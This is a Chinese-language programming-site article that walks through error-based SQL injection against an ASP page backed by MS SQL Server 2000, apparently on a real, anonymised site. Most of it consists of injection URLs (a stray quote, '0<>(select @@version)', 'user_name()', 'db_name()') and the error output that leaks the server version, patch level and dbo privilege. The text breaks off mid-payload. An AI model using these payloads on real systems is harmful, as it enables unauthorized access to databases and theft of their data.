程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> 搾干MS SQL Server 最後一滴血

搾干MS SQL Server 最後一滴血

編輯:關於SqlServer

風雲變換的網絡,網絡安全讓人們不能不關注它。數據庫,讓我們不得不想起強大的Oracle,MS SQL。微軟的漏洞最多,今天就用SQL INJECTION來讓MS SQL為我們好好的工作。

  以下(使用一知名網站作為測試點),相信大家對SQL爆庫,爆表,爆字段都已掌握,在這裡就不多說這方面了。

  MS SQL內置函數介紹:

  @@VERSION 獲得Windows的版本號,MS SQL的版本號,補丁。 User_name() 得到當前系統的連接用戶 Db_name() 得到當前連接的數據庫 HOST_NAME() 得到當前主機的名稱

  這些信息有助我們對系統進行簡單的了解

  好,下面我們就開始吧!

  語句:

http://www.xxx.com/list.ASP?classid=1'

  返回信息:

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14' 字符串 ' Order By Id DESC' 之前有未閉合的引號。 /list.ASP,行290

  從這裡未閉合的引號(“’”),我們可以確定存在SQL INJECTION。發現在漏洞當然接著走了,利用以上介紹的函數為我們工作了:

  語句:

http://www.xxx.com/list.ASP?classid=1 and 0<>(select @@version)

  返回:

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.ASP,行290

  相關的信息出來了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,從MS SQL Server 後面的8.00.760可看出是SP3補丁。看了服務器的信息,接下應該了解數據庫的權限了:

  語句:

http://www.xxx.com/list.ASP?classid=1 and user_name()=’dbo’

  返回: 正常返回的信息

  確定是權限是DBO,從表面DBO權限的連接用戶經常是涉及SYSADMIN服務器角色成員。說明數據庫服務器角色成員組默認是在每個數據庫增加一個DBO用戶。

  返回原理根1=1,1=2相似..這裡只是權限測試,我們也把它爆出來看看:

  語句:

http://www.xxx.com/list.ASP?classid=1 and 0<>(select user_name())

  返回:

Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07' 將 nvarchar 值 'dbo' 轉換為數據類型為 int 的列時發生語法錯誤。 /list.ASP,行290

  說明連接數據庫的用戶權限很高,可以確定是服務器角色組中的成員。

  語句:http://www.xxx.com/list.ASP?classid=1 and 0<>(select db_name())—返回:Microsoft OLE DB Provider for SQL S

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved